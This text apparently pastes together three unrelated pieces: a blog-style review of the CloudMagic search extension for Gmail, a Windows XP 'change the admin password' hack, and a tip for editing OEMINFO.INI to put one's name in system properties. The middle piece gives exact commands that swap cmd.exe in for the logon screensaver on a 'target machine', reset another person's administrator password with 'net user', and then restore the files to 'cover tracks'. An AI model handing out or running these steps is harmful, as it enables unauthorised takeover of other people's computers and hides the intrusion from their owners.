CloudMagic Brings Fast Search-As-You-Type Functionality To Gmail, Google Apps

While Google is testing search results that update as you type on its own, startup CloudMagic is bringing that functionality to Gmail and Google Apps – and other cloud-based services in the near future – by means of a Firefox and Chrome browser extension.

Installing the extension results in an extra search box in your Gmail interface that allows you to rapidly search for anything in your inbox, with results updating as you type and the ability to preview messages from a thread in a tab or open entire conversations with a single click.

If you’re a Gmail power user like I am, you need to hear no more to realize how useful that functionality is. It’s entirely free, so nothing should stop you from installing either (account credentials are stored locally, and not on CloudMagic’s servers).

I installed it, and while the speedy search and email conversation previews are nice and welcome, the one thing that will make me get used to CloudMagic very quickly is the fact that when you have tabs open with search results, they remain up on top on the right-hand side while you peruse other emails or compose new emails to people.

This basically means no longer having to open another tab to search for e.g. a telephone number in Gmail I’d like to pass on to someone else by email. And if you want to go back to the full Gmail interface, all you need to do is hit the shortcut key (Esc).

That feature alone will save me a couple of hours per month, and that’s a whole lot in my book.

The app is currently limited to Gmail and Google Apps, but will soon be introduced for Google Docs, Hotmail, Yahoo & other cloud services.

Change the admin password xp

If you log into a limited account on your target machine and open up a dos prompt
then enter this set of commands Exactly:

cd\ *drops to root
cd\windows\system32 *directs to the system32 dir
mkdir temphack *creates the folder temphack
copy logon.scr temphack\logon.scr *backsup logon.scr
copy cmd.exe temphack\cmd.exe *backsup cmd.exe
del logon.scr *deletes original logon.scr
rename cmd.exe logon.scr *renames cmd.exe to logon.scr
exit *quits dos

Now what you have just done is told the computer to backup the command program
and the screen saver file, then edits the settings so when the machine boots the
screen saver you will get an unprotected dos prompt with out logging into XP.

Once this happens if you enter this command minus the quotes

“net user password”

If the Administrator Account is called Frank and you want the password blah enter this

“net user Frank blah”

and this changes the password on franks machine to blah and your in.

Have fun

NOTE: dont forget to copy the contents of temphack back into the system32 dir to cover tracks

Want to change windows to your name

This is my PC information which is editted by me …..

Open notepad and paste these

Manufacturer=Your Name Here
Model=Your Model Here
[Support Information]
Line1=Your Name Here
Line2=Your Address Here
Line3=Your Email Address Here

Save it with file name OEMINFO.INI in the c:\windows\system32 directory


1.Right click on My Computer and select Properties

2. In the general Tab a button will be highlighted click on that.

3. Now here it is….see the changes…

Now if you want to display some more information then simply increase the line in the file.
eg: Line4=Your Website here